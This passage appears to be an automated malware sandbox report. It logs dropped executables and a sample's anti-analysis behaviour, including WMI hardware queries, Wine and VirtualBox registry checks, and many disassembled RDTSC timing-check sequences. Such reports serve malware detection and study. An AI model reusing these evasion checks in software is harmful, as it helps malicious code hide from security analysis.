Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\build.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1BF39A second address: 1BF3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1BF3A6 second address: 1BF3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1BF3AA second address: 1BF3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 33059D second address: 3305A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3305A3 second address: 3305A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 330A06 second address: 330A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6B2CB5B2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 330A10 second address: 330A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 333576 second address: 333589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jbe 00007F6B2CB5B2D4h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 333589 second address: 33358D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 33378C second address: 3337CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jns 00007F6B2CB5B2D8h 0x00000013 jmp 00007F6B2CB5B2D2h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push esi 0x0000001e pop esi 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3337CB second address: 3337E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2C748077h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3337E6 second address: 3337EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3337EA second address: 333828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F6B2C74806Fh 0x00000011 pop eax 0x00000012 mov ecx, dword ptr [ebp+122D3884h] 0x00000018 lea ebx, dword ptr [ebp+124482E4h] 0x0000001e xor edi, dword ptr [ebp+122D2A1Ch] 0x00000024 sub dword ptr [ebp+122D193Eh], ecx 0x0000002a push eax 0x0000002b pushad 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f pop edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 333828 second address: 33382C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3338AA second address: 3338DE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6B2C748066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c mov dx, 8AE0h 0x00000010 push 00000000h 0x00000012 jmp 00007F6B2C748070h 0x00000017 mov cx, A247h 0x0000001b call 00007F6B2C748069h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3338DE second address: 333906 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B2CB5B2CEh 0x0000000b popad 0x0000000c push eax 0x0000000d jns 00007F6B2CB5B2CAh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 333906 second address: 33390C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 33390C second address: 333925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6B2CB5B2C8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 jng 00007F6B2CB5B2CCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 333925 second address: 33392D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 355A21 second address: 355A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 32C0CE second address: 32C0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 353FDD second address: 353FE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 353FE3 second address: 354019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F6B2C748066h 0x0000000d jmp 00007F6B2C74806Eh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6B2C748075h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 354019 second address: 354036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6B2CB5B2C6h 0x0000000a jmp 00007F6B2CB5B2D3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 354036 second address: 35403C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3541CF second address: 3541DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6B2CB5B2C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3541DD second address: 3541F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C748074h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35433F second address: 35434B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35434B second address: 35434F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3548B9 second address: 3548E1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6B2CB5B2D6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3548E1 second address: 3548E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 354B56 second address: 354B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 354B5C second address: 354B71 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6B2C74806Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35530D second address: 355314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 355314 second address: 355327 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6B2C74806Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3554B0 second address: 3554C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35561E second address: 35563D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6B2C748066h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F6B2C748066h 0x00000013 jmp 00007F6B2C74806Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35563D second address: 355662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D6h 0x00000007 jne 00007F6B2CB5B2C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 355662 second address: 355670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F6B2C748066h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 355670 second address: 355678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 358A58 second address: 358A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 358A5E second address: 358A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 358A62 second address: 358A73 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B2C748066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35807F second address: 358083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 358083 second address: 35808D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3591A1 second address: 3591A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35B25C second address: 35B291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748079h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007F6B2C748070h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35B291 second address: 35B295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F15C second address: 35F162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F415 second address: 35F41B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F41B second address: 35F41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F41F second address: 35F42B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F42B second address: 35F434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F434 second address: 35F438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F438 second address: 35F43E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F43E second address: 35F443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F443 second address: 35F449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F577 second address: 35F595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6B2CB5B2D7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F595 second address: 35F5B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F6B2C74806Ah 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push edx 0x00000014 jc 00007F6B2C748066h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35F5B6 second address: 35F5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35FA22 second address: 35FA3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748075h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35FA3B second address: 35FA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F6B2CB5B2C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35FBE9 second address: 35FBF5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6B2C748066h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35FBF5 second address: 35FC01 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B2CB5B2CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 361FF0 second address: 362009 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6B2C748070h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3625A5 second address: 3625A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3625A9 second address: 3625AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3625AF second address: 3625B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3626DF second address: 3626E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3626E3 second address: 3626E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3627AF second address: 3627B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3627B5 second address: 3627B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
